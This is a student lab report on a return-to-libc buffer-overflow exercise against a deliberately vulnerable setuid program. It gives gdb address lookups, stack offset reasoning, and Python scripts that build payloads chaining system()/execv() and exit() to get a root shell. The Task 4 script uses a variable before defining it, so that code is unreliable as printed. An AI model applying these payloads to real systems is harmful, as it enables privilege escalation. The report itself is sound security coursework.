Lab 12

SID: 12110644

Name: Sicheng Zhou

Task 1: Finding out the Addresses of libc Functions

```
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e12420 <system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xf7e04f80 <exit>
```

Task 2: Putting the shell string in the memory

```
[12/17/24]seed@VM:~/lab/Labsetup$ make prtenv
gcc -m32 -DBUF_SIZE=12 -fno-stack-protector -z noexecstack -o prtenv p
sudo chown root prtenv && sudo chmod 4755 prtenv
[12/17/24]seed@VM:~/lab/Labsetup$ ./prtenv
ffffd3a5
```

Task 3: Launching the Attack

How to set X, Y, and Z:

After the buffer overflow, the return address changes to the address of the `system()` function. As soon as the program jumps to the `system()` function, its function prologue is executed, causing esp to be moved down by 4 bytes and ebp to be set to the current value of esp. So we can simply place the parameter (the address of the string “/bin/sh”) 8 bytes above the current ebp.

ebp + 4 is the return address of the `system()` function, so we put the address of the `exit()` function in there, so that when the `system()` function returns, it will jump to the `exit()` function, ending the program perfectly.

```
gdb-peda$ p $ebp
$1 = (void *) 0xffffcd08
gdb-peda$ p &buffer
$2 = (char (*)[12]) 0xffffccf0
gdb-peda$ p/d 0xffffcd08 - 0xffffccf0
$3 = 24
```

So X = 36, Y = 28, Z = 32.

Makefile | retlib.c | prtenv.c | exploit.py

Labsetup > exploit.py

```python
#!/usr/bin/env python3
import sys

# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))

X = 36
sh_addr = 0xffffd3a5       # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')

Y = 28
system_addr = 0xf7e12420   # The address of system()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')

Z = 32
exit_addr = 0xf7e04f80     # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')

# Save content to a file
with open("badfile", "wb") as f:
  f.write(content)

```

问题 输出 调试控制台 端口 终端

```
   0x5655625d <bof+16>: add    ebx,0x2d6b
=> 0x56556263 <bof+22>: mov    eax,ebp
   0x56556265 <bof+24>: mov    DWORD PTR [ebp-0xc],eax
   0x56556268 <bof+27>: lea    eax,[ebp-0x18]
   0x5655626b <bof+30>: sub    esp,0x8
   0x5655626e <bof+33>: push   eax
[----------------------------------stack-----------------------------------]
0000| 0xffffccf0 --> 0xf7fb4d20 --> 0xfbad2a84
0004| 0xffffccf4 --> 0x565570b9 ("Input size: %d\n")
0008| 0xffffccf8 --> 0xffffcd14 --> 0x0
0012| 0xffffccfc --> 0x0
0016| 0xffffcd00 --> 0xf7fb4000 --> 0x1e6d6c
0020| 0xffffcd04 --> 0x56558fc8 --> 0x3ed0
0024| 0xffffcd08 --> 0xffffd118 --> 0x0
0028| 0xffffcd0c --> 0x56556388 (<main+153>:    add    esp,0x10)
[--------------------------------------------------------------------------]
Legend: code, data, rodata, value
15          asm("movl %%ebp, %0" : "=r" (framep));
gdb-peda$ p $ebp
$1 = (void *) 0xffffcd08
gdb-peda$ p &buffer
$2 = (char (*)[12]) 0xffffccf0
gdb-peda$ p/d 0xffffcd08 - 0xffffccf0
$3 = 24
gdb-peda$ quit
[12/17/24]seed@VM:~/lab/Labsetup$ python3 exploit.py
[12/17/24]seed@VM:~/lab/Labsetup$ ./retlib
Address of input[] inside main():  0xffffcd70
Input size: 300
Address of buffer[] inside bof():  0xffffcd40
Frame Pointer value inside bof():  0xffffcd58
# ls
badfile  exploit.py  Makefile  peda-session-retlib.txt  ppprtenv  prtenv.c  retlib  retlib.c
# whoami
root
#
```

attack succeeds

Attack variation 1: Is the exit() function really necessary?

The attack succeeds, but segementation fault occurrs when exit.

ebp+4 is the return address of the `system()` function. If a random value is put here, when the `system()` function returns, the program is likely to crash.

```
[12/18/24]seed@VM:~/lab/Labsetup$ ./retlib
Address of input[] inside main():  0xffffcd60
Input size: 300
Address of buffer[] inside bof():  0xffffcd30
Frame Pointer value inside bof():  0xffffcd48
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
$ whoami
seed
$ exit
Segmentation fault
```

attack succeeds

Attack variation 2: change the file name of retlib to a different name.

The attack will not succeed.

Once ASLR is turned off, the address of the`MYSHELL` environment variable will be the same in different child processes created by the same process. However, this address depends on the length of the program name. Before the environment variable is pushed into the stack, the first thing pushed into the stack is the program name. Therefore, the length of the program name affects the location of the environment variable in memory.

```
[12/17/24]seed@VM:~/lab/Labsetup$ ./newretlib
Address of input[] inside main():  0xffffcd60
Input size: 300
Address of buffer[] inside bof():  0xffffcd30
Frame Pointer value inside bof():  0xffffcd48
zsh:1: command not found: h
```

attcak fails

Task 4: Defeat Shell's countermeasure

1. Set the return address of`bof()` to the address of`execv()`.
2. Set the return address of`execv()` to the address of`exit()`.
3. Place the arguments. The 1st argument is the address of string "/bin/bash". The 2nd is the address of argv[0]. Because `NULL` can not be copied, we directly set this argument to the address of `input`.

```
[12/18/24]seed@VM:~/lab/Labsetup$ ./retlib
Address of input[] inside main():  0xffffcd60
Input size: 300
Address of buffer[] inside bof():  0xffffcd30
Frame Pointer value inside bof():  0xffffcd48
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),1
36(docker)
#
```

attack succeeds

```python
#!/usr/bin/env python3
import sys

# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))

X = 36 # pathname
sh_addr = 0xffffd39c       # The address of "/bin/bash"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')

P = 40
argv_addr = 0xffffcd30 + A # the address of argc[0] = input address +
content[P:P+4] = (argv_addr).to_bytes(4,byteorder='little')

A = 44 # argc[0], the address of "/bin/bash"
content[A:A+4] = (sh_addr).to_bytes(4,byteorder='little')

B = 48 # argc[1]
p_addr = 0xffffd416       # The address of "-p"
content[B:B+4] = (p_addr).to_bytes(4,byteorder='little')

C = 52 # argc[2]
n = 0x00000000       # NULL
content[C:C+4] = (n).to_bytes(4,byteorder='little')

Y = 28
system_addr = 0xf7e994b0    # The address of execv()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')

Z = 32
exit_addr = 0xf7e04f80      # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')

# Save content to a file
with open("badfile", "wb") as f:
  f.write(content)
```